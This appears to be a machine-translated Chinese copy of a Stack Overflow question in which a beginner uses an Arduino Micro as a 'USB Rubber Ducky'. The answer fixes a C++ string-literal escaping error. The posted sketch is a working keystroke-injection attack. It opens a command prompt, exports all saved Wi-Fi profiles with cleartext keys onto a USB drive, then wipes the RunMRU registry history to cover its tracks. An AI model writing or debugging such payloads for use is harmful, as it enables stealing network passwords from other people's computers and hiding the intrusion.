Arduino IDE告诉我无法找到字符串文字运算符""" DRIVE'

时间:2018-01-21 17:09:05

标签: c++ arduino

我是一个新手,是Arduinos的新手。我使用Arduino Micro作为USB Rubber Ducky。

我尝试运行此代码:

#include <Keyboard.h>

void setup() {

    delay(1000);
    Keyboard.begin();
    Keyboard.press(KEY_LEFT_GUI);
    Keyboard.press('r');
    Keyboard.releaseAll();
    delay(500);

    Keyboard.print("cmd");
    delay(1000);

    Keyboard.press(KEY_RETURN);
    Keyboard.releaseAll();
    delay(500);

    Keyboard.print("mode con: cols=15 lines=1");

    Keyboard.press(KEY_RETURN);
    Keyboard.releaseAll();
    delay(100);

    Keyboard.print("for /f %d in ('wmic volume get driveletter^, label^|");
    Keyboard.print("find");
    Keyboard.print("str");
    Keyboard.print(" "DRIVE"')");
    Keyboard.print(" do @set DRIVE=%d");
    Keyboard.press(KEY_RETURN);
    Keyboard.releaseAll();
    delay(500);

    Keyboard.print("%DRIVE%");

    Keyboard.press(KEY_RETURN);
    Keyboard.releaseAll();
    delay(100);

    Keyboard.print("cd Wi-Fi Passwords");

    Keyboard.press(KEY_RETURN);
    Keyboard.releaseAll();
    delay(100);

    Keyboard.print("netsh wlan export profile key=clear");
    Keyboard.press(KEY_RETURN);
    Keyboard.releaseAll();
    delay(1000);

    Keyboard.print("powershell Remove-ItemProperty -Path 'HKCU:/Software/Microsoft/Windows/CurrentVersion/Explorer/RunMRU' -Name '*' -ErrorAction SilentlyContinue");
    Keyboard.press(KEY_RETURN);
    Keyboard.releaseAll();

    delay(1000);
    Keyboard.print("exit");
    Keyboard.press(KEY_RETURN);
    Keyboard.releaseAll();
}

void loop() {
  // put your main code here, to run repeatedly:

}

然而编译器告诉我这个

  

退出状态1无法找到字符串文字运算符&#39;运算符&#34;&#34; DRIVE&#39;

我不知道从哪里开始。

1 个答案:

答案 0 :(得分:0)

如果你想使用&#34;在字符串文字的内部,你必须转义这个字符。现在你有" "后缀DRIVE,这在C ++ 11规范中是允许的。所以它试图在字符串文字上执行operator""DRIVE

它被称为User defined literals

无论如何你必须使用:(" \"DRIVE\"')");。现在DRIVE只是字符串的一部分。